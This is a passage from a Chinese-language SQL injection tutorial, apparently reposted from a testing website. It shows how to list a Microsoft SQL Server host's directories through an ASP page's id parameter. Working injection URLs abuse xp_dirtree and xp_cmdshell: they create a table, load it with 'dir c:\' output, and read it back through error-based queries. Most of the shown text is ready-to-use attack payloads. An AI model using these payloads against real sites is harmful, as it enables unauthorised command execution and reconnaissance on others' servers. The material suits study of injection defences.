下面的方法就和原來的一樣的了
還有一個問題就是
有時候用上面的方法輸入59時,發現下一次的文件夾還是59
這個是怎么回事情呢?
呵呵,不知道你有沒有注意過059和59是一樣的?
就是這個原因了,哈哈,
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( ’059’))--
發現顯示下一個文件夾名字了,ok
優缺點分析:
優點就是所有的sqlserver用戶都可以使用,因為xp_dirtree適用權限PUBLIC,
缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什么順序的,總之在好幾千好幾萬個文件夾里找你想要的文件夾是痛苦的.
而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力.
方法二:
利用xp_cmdshell
哈哈,這個大家一定很熟悉了吧,我就簡單說一下
建立表
語句：http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回：正常的信息!說明建表成功!繼續!
(建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用
語句：http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell ’dir c:\ /B/D’ --
返回：正常信息。說明寫入C盤的所有目錄成功了!這里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就試驗試驗看
語句：http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
文章來源于領測軟件測試網 http://www.kjueaiud.com/
